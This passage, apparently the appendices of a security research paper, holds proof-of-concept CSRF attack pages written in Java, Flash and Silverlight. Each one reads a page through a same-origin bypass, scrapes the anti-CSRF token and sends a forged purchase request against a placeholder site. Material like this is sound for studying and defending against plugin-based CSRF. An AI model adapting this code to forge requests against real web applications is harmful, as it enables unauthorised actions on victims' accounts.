    StringBuffer response = new StringBuffer();
    String token = "";

    public void init() {
        // send initial get request
        try {
            sendGetRequest(getURL);
        } catch(IOException e) {
            e.printStackTrace();
        }
        // extract csrf token for post request
        extractToken(response);
        // send post request
        try {
            sendPostRequest(postURL);
        } catch(IOException e) {
            e.printStackTrace();
        }
    }

    public void sendGetRequest(String url) throws IOException {
        URL u = new URL(url);
        HttpURLConnection c = (HttpURLConnection)u.openConnection();
        c.setDoInput(true);         // we want to see the response
        c.setDoOutput(false);       // sets connection as a GET request
        BufferedReader in = new BufferedReader(new
InputStreamReader(c.getInputStream()));
        String inputLine;
        // we can read response due to same-origin bypass
        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();
    }

    public void extractToken(StringBuffer response) {
        // split response by " and find the string that's 64 characters
        String r = response.toString();
        String[] parts = r.split("\"");
        for(String s: parts) {
            if(s.length() == 64) {
                token = s;
            }
        }
    }

    public void sendPostRequest(String url) throws IOException {
        URL u = new URL(url);
        HttpURLConnection c = (HttpURLConnection)u.openConnection();
        c.setRequestMethod("POST");
        c.setDoOutput(true);
        OutputStreamWriter w = new OutputStreamWriter(c.getOutputStream());
        // use token to force victim to buy 1000 apples
        w.write("quantity=1000&csrf_token="+token, 0,
"quantity=1000&csrf_token=".length()+token.length());
```

```
        w.close();
        c.getContent();
    }
}
```

**Appendix B: Flash CSRF Attack Page**

```
<![CDATA[
    import flash.external.ExternalInterface;
    import flash.net.*;
    public var response:String = "";
    public var csrf_token:String = "";

    private function creationCompleteHandler():void {
        // create GET request object
        var url:String = "http://example.com/mainpage.php";
        var request:URLRequest = new URLRequest(url);
        request.method = URLRequestMethod.GET;

        // send GET request
        var loader:URLLoader = new URLLoader();
        loader.addEventListener(Event.COMPLETE, extractToken);
        loader.dataFormat = URLLoaderDataFormat.TEXT;
        loader.load(request);

        // on request completion, extract token from response
        function extractToken(event:Event):void {
            // we can view the response due to same-origin bypass
            response = event.target.data;
            // split response by " and find the string that's 64 characters
            var parts:Array = response.split("\"");
            for each(var s:String in parts) {
                if(s.length == 64) {
                    csrf_token = s;
                }
            }
            // send malicious POST request
            sendPostRequest(csrf_token);
        }

        function sendPostRequest(token:String):void {
            // create POST request object
            var url:String = "http://example.com/buy.php";
            var request:URLRequest = new URLRequest(url);
            request.method = URLRequestMethod.POST;

            // set POST parameters
            var variables:URLVariables = new URLVariables();
            // set quantity parameter (force the victim to buy 1000 apples)
            variables.quantity = "1000";
            // set csrf_token parameter using extracted token
            variables.csrf_token = token;
            request.data = variables;

            // send request
            var loader:URLLoader = new URLLoader();
            loader.dataFormat = URLLoaderDataFormat.VARIABLES;
            loader.load(request);
        }
    }
]]>
```

**Appendix C: Silverlight CSRF Attack Page**

```
private async void doRequest()
    {
        HttpClient client = new HttpClient();
        string csrftoken = null;

        // make GET request to get CSRF token
        using (HttpRequestMessage request = new HttpRequestMessage(
                HttpMethod.Get,
                "http://example.com/mainpage.php"))
        {

            try {
                // get response to mainpage request
                string response;
                using (HttpResponseMessage responseMsg = await
client.SendAsync(request))
                {
                    response = await responseMsg.Content.ReadAsStringAsync();
                }

                // extract CSRF token
                // split response by " and find 64 character string
                foreach (string match in response.Split(new char[] { '\"' })) {
                    if (match.Length == 64) {
                        csrftoken = match;
                        break;
                    }
                }
            }
            catch (Exception e) { MessageBox.Show(e.Message); }
        }
        if (csrftoken == null)
            return;
        // make POST request to buy 1000 apples
        using (HttpRequestMessage request = new HttpRequestMessage(
            HttpMethod.Post,
            "http://example.com/buy.php"))
        {
            // set quantity and csrf_token parameters
            request.Content = new StringContent("quantity=1000&csrf_token=" +
csrftoken, Encoding.UTF8, "application/x-www-form-urlencoded");

             try {
                using (HttpResponseMessage response = await client.SendAsync(request))
                { ; }
            }
            catch (Exception e) {
                MessageBox.Show(e.Message);
            }
        }

    }
```